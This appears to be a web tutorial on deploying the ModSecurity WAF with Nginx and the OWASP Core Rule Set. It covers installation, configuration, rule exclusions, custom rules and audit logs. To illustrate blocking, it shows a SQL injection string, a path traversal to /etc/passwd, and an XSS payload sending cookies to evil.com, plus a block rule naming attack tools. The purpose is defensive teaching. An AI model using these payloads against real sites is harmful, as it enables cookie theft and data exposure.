What Is a Web Application Firewall?
A Web Application Firewall (WAF) sits between your web server and the internet, inspecting every HTTP request before it reaches your application. Unlike a network firewall that operates at the TCP/IP layer and filters by ports and IP addresses, a WAF operates at the application layer (Layer 7) and understands HTTP semantics — it can inspect URLs, request headers, cookies, POST bodies, and query parameters to detect and block malicious payloads.
Attacker
Layer 3/4
Layer 7 WAF
Nginx/Apache
PHP/Node/Python
Without a WAF, a SQL injection payload like ' OR 1=1 -- passes straight through to your application. If your code has even one unparameterized query, your entire database is exposed. With ModSecurity and the OWASP Core Rule Set, that same request is intercepted, analyzed, matched against known attack patterns, and blocked before your application ever sees it.
ModSecurity: History and Architecture
ModSecurity was originally created in 2002 as an Apache module. Over the years, it evolved through three major versions:
| Version | Year | Architecture | Status |
|---|---|---|---|
| ModSecurity 1.x | 2002 | Apache-only module | Obsolete |
| ModSecurity 2.x | 2006 | Apache module (mature, stable) | Maintenance |
| libmodsecurity 3.x | 2017 | Standalone library + connectors | Active |
ModSecurity 3.x (libmodsecurity) is a complete rewrite as a standalone C library. It provides connectors for different web servers — the Nginx connector (modsecurity-nginx) embeds the library directly into Nginx as a dynamic module. This architecture means ModSecurity's rule engine is completely independent of the web server, allowing the same rules to protect both Nginx and Apache deployments.
Understanding the OWASP Core Rule Set
ModSecurity is the engine; the OWASP Core Rule Set (CRS) is the fuel. The CRS is a comprehensive set of attack detection rules maintained by the OWASP Foundation. It provides protection against the most common web application attacks without requiring any knowledge of your specific application.
CRS Rule Categories
| Rule Range | Category | Attacks Blocked |
|---|---|---|
| 910000-910999 | Initialization | Setup and configuration |
| 911000-911999 | Method Enforcement | Invalid HTTP methods |
| 913000-913999 | Scanner Detection | Security scanner fingerprints |
| 920000-920999 | Protocol Enforcement | HTTP protocol violations |
| 930000-930999 | LFI/RFI | File inclusion attacks |
| 931000-931999 | RFI | Remote file inclusion |
| 932000-932999 | RCE | Remote code execution |
| 933000-933999 | PHP Attacks | PHP-specific injection |
| 941000-941999 | XSS | Cross-site scripting |
| 942000-942999 | SQLi | SQL injection |
| 943000-943999 | Session Fixation | Session hijacking |
| 949000-949999 | Blocking | Anomaly score evaluation |
Installing ModSecurity 3 with Nginx
Installing ModSecurity with Nginx requires compiling the Nginx connector module. This is a multi-step process, but each step is straightforward:
Install Dependencies
libtool libcurl4-openssl-dev liblua5.3-dev libfuzzy-dev ssdeep \
libgeoip-dev libyajl-dev libpcre2-dev libxml2-dev libmaxminddb-dev
Compile libmodsecurity
$ cd ModSecurity
$ git submodule init && git submodule update
$ ./build.sh
$ ./configure --with-pcre2
$ make -j$(nproc)
$ sudo make install
Libraries installed to: /usr/local/modsecurity/lib
Compile the Nginx Connector
$ nginx -v
nginx version: nginx/1.27.4
$ wget http://nginx.org/download/nginx-1.27.4.tar.gz
$ tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
$ ./configure --with-compat --add-dynamic-module=../ModSecurity-nginx
$ make modules
$ sudo cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules/
Enable the Module in Nginx
load_module modules/ngx_http_modsecurity_module.so;
Installing the OWASP Core Rule Set
$ git clone https://github.com/coreruleset/coreruleset.git /etc/nginx/owasp-crs
$ cd /etc/nginx/owasp-crs
$ cp crs-setup.conf.example crs-setup.conf
Configuring ModSecurity
The main ModSecurity configuration file controls the engine behavior, logging, and rule processing. Here are the essential settings:
# Engine mode: On = block, DetectionOnly = log only
SecRuleEngine On
# Request body handling
SecRequestBodyAccess On
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
# Response body handling
SecResponseBodyAccess Off
# Audit logging
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecAuditLogType Serial
SecAuditLog /var/log/nginx/modsec_audit.log
# Include OWASP CRS
Include /etc/nginx/owasp-crs/crs-setup.conf
Include /etc/nginx/owasp-crs/rules/*.conf
SecRuleEngine DetectionOnly. This logs all rule matches without blocking any requests, letting you identify false positives before switching to full blocking mode. Run in DetectionOnly for at least one week of normal traffic before enabling On.
Enable ModSecurity in Nginx Server Block
listen 443 ssl http2;
server_name example.com;
modsecurity on;
modsecurity_rules_file /etc/nginx/modsecurity/modsecurity.conf;
root /var/www/example.com/public;
# ... rest of config
}
How ModSecurity Blocks Attacks
SQL Injection Detection
SQL injection is the most dangerous and most common web attack. ModSecurity detects injection attempts by matching request parameters against thousands of known SQL injection patterns:
GET /search?q=' OR 1=1 -- HTTP/1.1
# ModSecurity CRS Rule 942100 matches:
[id "942100"] [msg "SQL Injection Attack Detected via libinjection"]
[severity "CRITICAL"] [tag "OWASP_CRS"] [tag "attack-sqli"]
# Response: 403 Forbidden
Cross-Site Scripting (XSS) Detection
POST /comment HTTP/1.1
body=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
# ModSecurity CRS Rule 941110 matches:
[id "941110"] [msg "XSS Filter - Category 1: Script Tag Vector"]
[severity "CRITICAL"] [tag "attack-xss"]
# Response: 403 Forbidden
Path Traversal Detection
GET /download?file=../../../etc/passwd HTTP/1.1
# ModSecurity CRS Rule 930100 matches:
[id "930100"] [msg "Path Traversal Attack (/../)"]
[severity "CRITICAL"] [tag "attack-lfi"]
# Response: 403 Forbidden
Managing False Positives
The biggest challenge with ModSecurity is false positives — legitimate requests that trigger rules. This is especially common with content management systems, WYSIWYG editors, and applications that accept HTML or code as user input.
Identifying False Positives
[id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"]
[uri "/admin/posts/edit"] [unique_id "abc123"]
Excluding Specific Rules
SecRuleRemoveById 941160
# Disable a rule only for a specific URL
SecRule REQUEST_URI "@beginsWith /admin/posts" \
"id:1001,phase:1,nolog,pass,ctl:ruleRemoveById=941160"
# Disable a rule only for a specific parameter
SecRuleUpdateTargetById 941160 "!ARGS:content"
Writing Custom Rules
ModSecurity rules follow a consistent syntax. Understanding the structure lets you create custom rules for threats specific to your application:
# SecRule VARIABLE OPERATOR "ACTIONS"
# Block requests to wp-config.php
SecRule REQUEST_URI "@contains wp-config.php" \
"id:10001,\
phase:1,\
deny,\
status:403,\
msg:'Attempted access to wp-config.php',\
severity:'CRITICAL',\
tag:'custom-rules'"
# Block specific user agents (bad bots)
SecRule REQUEST_HEADERS:User-Agent "@rx (sqlmap|nikto|havij|acunetix)" \
"id:10002,\
phase:1,\
deny,\
status:403,\
msg:'Known attack tool detected',\
severity:'CRITICAL'"
# Rate limit login attempts
SecRule REQUEST_URI "@beginsWith /wp-login.php" \
"id:10003,\
phase:1,\
pass,\
nolog,\
setvar:'ip.login_attempts=+1',\
expirevar:'ip.login_attempts=300'"
SecRule IP:LOGIN_ATTEMPTS "@gt 10" \
"id:10004,\
phase:1,\
deny,\
status:429,\
msg:'Login rate limit exceeded'"
Performance Considerations
ModSecurity adds processing overhead to every request. The impact depends on the number of rules, the request size, and the anomaly scoring threshold. Here is what to expect:
| Configuration | Latency Impact | Throughput Impact |
|---|---|---|
| ModSecurity Off | Baseline | Baseline |
| CRS Paranoia Level 1 | +1-3ms | -3-5% |
| CRS Paranoia Level 2 | +3-8ms | -8-12% |
| CRS Paranoia Level 3 | +8-15ms | -15-25% |
| CRS Paranoia Level 4 | +15-30ms | -25-40% |
Reviewing the Audit Log
The audit log is your window into what ModSecurity is doing. Each entry contains the full request, the matching rules, and the action taken:
--a]--
[17/Mar/2026:14:23:01 +0000] YxKj...
--b]-- Request headers
GET /search?q='%20OR%201=1%20-- HTTP/1.1
Host: example.com
--f]-- Response headers
HTTP/1.1 403
--h]-- Matched rules
Message: SQL Injection Attack Detected via libinjection
[id "942100"] [severity "CRITICAL"]
Action: Intercepted (phase 2)
--z]--
ModSecurity with Panelica
WAF Best Practices
- Start in DetectionOnly mode and monitor logs for at least one week
- Use OWASP CRS Paranoia Level 1 for balanced protection and performance
- Create targeted rule exclusions instead of disabling entire categories
- Monitor the audit log regularly for new false positives and real attacks
- Keep the OWASP CRS updated — new rules are released monthly
- Disable response body inspection (
SecResponseBodyAccess Off) for performance - Test custom rules in DetectionOnly before switching to blocking mode
- Use ModSecurity alongside — not instead of — application-level input validation
- Set up log rotation for the audit log to prevent disk exhaustion
- Document every rule exclusion with a comment explaining why it was needed